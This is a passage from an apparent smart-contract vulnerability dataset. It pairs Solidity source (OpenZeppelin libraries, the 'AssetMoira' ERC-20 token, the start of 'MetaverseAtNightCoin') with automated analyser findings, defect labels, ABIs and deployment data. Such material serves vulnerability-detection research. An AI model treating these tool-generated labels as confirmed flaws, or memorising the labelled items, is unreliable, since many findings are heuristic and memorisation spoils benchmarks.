* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts/interfaces/IWETH.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint) external;
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
| [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["79", "76"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["268", "283", "295"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [16, 17, 18]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [20, 21, 22, 23]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [3]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 292, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 157, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 239, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 312, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 531, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 545, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 545, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 255, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 26, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 333, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 344, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 354, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 369, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 379, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 47, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 262, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 27, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 60, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"weth_","type":"address"},{"internalType":"address","name":"_devFund","type":"address"},{"internalType":"address","name":"uniRewardPool_","type":"address"},{"internalType":"address","name":"drcRewardPool_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"rewardPool_","type":"address"}],"name":"changeDRCRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"devFund_","type":"address"}],"name":"changeDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gasShare_","type":"uint256"},{"internalType":"uint256","name":"devShare_","type":"uint256"},{"internalType":"uint256","name":"uniRewardPoolShare_","type":"uint256"},{"internalType":"uint256","name":"drcRewardPoolShare_","type":"uint256"}],"name":"changeDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"drainController_","type":"address"}],"name":"changeDrainController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"rewardPool_","type":"address"}],"name":"changeUniRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devFund","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distribute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"drainController","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"drcRewardPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"drcRewardPoolShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gasShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"wethThreshold_","type":"uint256"}],"name":"setWETHThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniRewardPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRewardPoolShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wethThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.6+commit.7338295f | true | 9,999 | 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000a896e4bd97a733f049b23d2aceb091bce01f298d000000000000000000000000b6e02ff600d8f7a6c057dc262b84cfef6010d99d000000000000000000000000c8dfd57e82657f1e7edec5a9aa4906230c29a62a | Default | false | ||||
AssetMoira | 0x6dc5880bad03f0eeb6e6b60954074cd3739563d0 | Solidity | pragma solidity ^0.4.11;
/*
MOIRA TOKEN
ERC-20 Token Standar Compliant
EIP-621 Compliant
Contract developer: Fares A. Akel C.
[email protected]
MIT PGP KEY ID: 078E41CB
*/
/**
* @title SafeMath by OpenZeppelin
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* This contract is administered
*/
contract admined {
address public admin; //Admin address is public
bool public locked = true; //initially locked
/**
* @dev This constructor set the initial admin of the contract
*/
function admined() internal {
admin = msg.sender; //Set initial admin to contract creator
Admined(admin);
}
modifier onlyAdmin() { //A modifier to define admin-only functions
require(msg.sender == admin);
_;
}
modifier lock() { //A modifier to lock specific supply functions
require(locked == false);
_;
}
/**
* @dev Transfer the adminship of the contract
* @param _newAdmin The address of the new admin.
*/
function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered
require(_newAdmin != address(0));
admin = _newAdmin;
TransferAdminship(admin);
}
/**
* @dev Enable or disable lock
* @param _locked Status.
*/
function lockSupply(bool _locked) onlyAdmin public {
locked = _locked;
LockedSupply(locked);
}
//All admin actions have a log for public review
event TransferAdminship(address newAdmin);
event Admined(address administrador);
event LockedSupply(bool status);
}
/**
* Token contract interface for external use
*/
contract ERC20TokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
}
contract ERC20Token is admined, ERC20TokenInterface { //Standar definition of an ERC20Token
using SafeMath for uint256;
uint256 totalSupply;
mapping (address => uint256) balances; //A mapping of all balances per address
mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances
/**
* @dev Get the balance of an specified address.
* @param _owner The address to be query.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token to a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)); //If you dont want that people destroy token
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfer token from an address to another specified address using allowance
* @param _from The address where token comes.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)); //If you dont want that people destroy token
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Assign allowance to an specified address to use the owner balance
* @param _spender The address to be allowed to spend.
* @param _value The amount to be allowed.
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Get the allowance of an specified address to use another address balance.
* @param _owner The address of the owner of the tokens.
* @param _spender The address of the allowed spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the tokens of an specified address increasing totalSupply.
* @param _amount The amount to increase.
* @param _to The address of the owner of the tokens.
*/
function increaseSupply(uint256 _amount, address _to) public onlyAdmin lock returns (bool success) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0, _to, _amount);
return true;
}
/**
* @dev Decrease the tokens of an specified address decreasing totalSupply.
* @param _amount The amount to decrease.
* @param _from The address of the owner of the tokens.
*/
function decreaseSupply(uint _amount, address _from) public onlyAdmin lock returns (bool success) {
balances[_from] = balances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Transfer(_from, 0, _amount);
return true;
}
/**
*Log Events
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AssetMoira is admined, ERC20Token {
string public name = 'Moira';
uint8 public decimals = 18;
string public symbol = 'Moi';
string public version = '1';
function AssetMoira(address _team) public {
totalSupply = 666000000 * (10**uint256(decimals));
balances[this] = 600000000 * (10**uint256(decimals));
balances[_team] = 66000000 * (10**uint256(decimals));
allowed[this][msg.sender] = balances[this];
/**
*Log Events
*/
Transfer(0, this, balances[this]);
Transfer(0, _team, balances[_team]);
Approval(this, msg.sender, balances[_team]);
}
/**
*@dev Function to handle callback calls
*/
function() public {
revert();
}
} | [] | [{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [54]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [186]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [188]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [187]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [189]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [208, 209, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [89]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [72, 73, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [171, 172, 173, 174, 175, 176]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [64, 65, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [88]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AssetMoira.sol": [160, 161, 162, 163, 164, 165]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [152]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [160]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [152]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [160]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [61]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [105]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AssetMoira.sol": [171]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"AssetMoira.sol": [192]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"AssetMoira.sol": [194]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"AssetMoira.sol": [193]}}] | [{"error": "Integer Underflow.", "line": 186, "level": "Warning"}, {"error": "Integer Underflow.", "line": 189, "level": "Warning"}, {"error": "Integer Underflow.", "line": 188, "level": "Warning"}, {"error": "Integer Overflow.", "line": 25, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 19, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 24, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 87, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 91, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 105, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 152, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 142, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 207, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 96, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 207, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 98, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 99, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_amount","type":"uint256"},{"name":"_to","type":"address"}],"name":"increaseSupply","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_locked","type":"bool"}],"name":"lockSupply","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newAdmin","type":"address"}],"name":"transferAdminship","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_amount","type":"uint256"},{"name":"_from","type":"address"}],"name":"decreaseSupply","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"locked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_team","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAdmin","type":"address"}],"name":"TransferAdminship","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"administrador","type":"address"}],"name":"Admined","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"status","type":"bool"}],"name":"LockedSupply","type":"event"}] | v0.4.18+commit.9cf6e910 | true | 200 | 0000000000000000000000003606aa964f4ba9d1b61f3f2a923a1c02e89f2f49 | Default | false | bzzr://80fe91ce2c720abbe1f1ccc54ab6311616e80037e00973ec009877654c5389a7 |
|||
MetaverseAtNightCoin | 0x1b8c425d56bcee85ecc6b38f4f03232f4d6bbba0 | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
